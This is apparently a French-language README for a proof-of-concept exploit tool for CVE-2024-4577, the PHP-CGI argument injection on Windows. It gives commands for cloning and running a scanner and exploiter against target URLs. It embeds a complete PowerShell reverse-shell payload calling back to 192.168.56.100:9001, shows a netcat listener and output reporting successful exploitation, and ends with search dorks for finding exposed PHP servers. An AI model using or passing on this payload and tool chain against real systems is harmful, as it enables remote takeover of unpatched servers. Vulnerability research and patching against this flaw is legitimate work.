
Preuve de concept d'exploitation pour l'injection d'arguments CGI PHP (CVE-2024-4577) permettant l'exécution de code à distance sur des serveurs Windows vulnérables, avec capacités de scan et de shell inversé.
Dans les versions de PHP 8.1.* antérieures à 8.1.29, 8.2.* antérieures à 8.2.20, 8.3.* antérieures à 8.3.8, lors de l'utilisation d'Apache et de PHP-CGI sur Windows, si le système est configuré pour utiliser certaines pages de codes, Windows peut utiliser le comportement "Best-Fit" pour remplacer les caractères de la ligne de commande transmise aux fonctions de l'API Win32. Le module PHP CGI peut interpréter ces caractères comme des options PHP, ce qui peut permettre à un utilisateur malveillant de passer des options au binaire PHP en cours d'exécution, et ainsi révéler le code source des scripts, exécuter du code PHP arbitraire sur le serveur, etc.
"XAMPP est vulnérable dans une configuration par défaut, et nous pouvons cibler le point de terminaison /php-cgi/php-cgi.exe. Pour cibler un point de terminaison .php à exploiter (par exemple /index.php), le serveur doit être configuré pour exécuter les scripts PHP en mode CGI."
$ git clone https://github.com/fa-rrel/CVE-2024-4577-RCE/
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt
$ python3 CVE-2024-4577.py -s -t https://target.com/
[!NOTE] Cet outil démontre des attaques et techniques réalistes (TTPs). Cependant, cet exemple de payload spécifique ne fonctionne pas dans ce scénario. Modifiez le fichier shell.php pour obtenir un payload pleinement fonctionnel.
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Target https://target.com is vulnerable to CVE-2024-4577
$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev_shell.php
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Exploit successful!
$ nc -lvnp 9001
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"Cet outil est fourni uniquement à des fins éducatives et de recherche. Le créateur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par l'outil.